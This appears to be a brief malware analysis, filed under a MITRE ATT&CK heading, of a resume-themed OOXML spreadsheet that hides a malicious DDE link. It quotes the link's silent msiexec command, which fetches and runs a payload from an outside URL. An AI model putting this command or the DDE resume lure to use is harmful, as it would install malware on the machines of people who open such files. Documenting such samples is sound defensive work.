MITRE ATT&CK

The sample is an OOXML spreadsheet that contains a malicious DDE link. This link is configured to execute 'msiexec /I http://resume.immigrantlol.com/?session=show /q', which will download and execute a payload from the provided URL. The document body appears to be a resume, likely intended to lure the user into opening the malicious link.
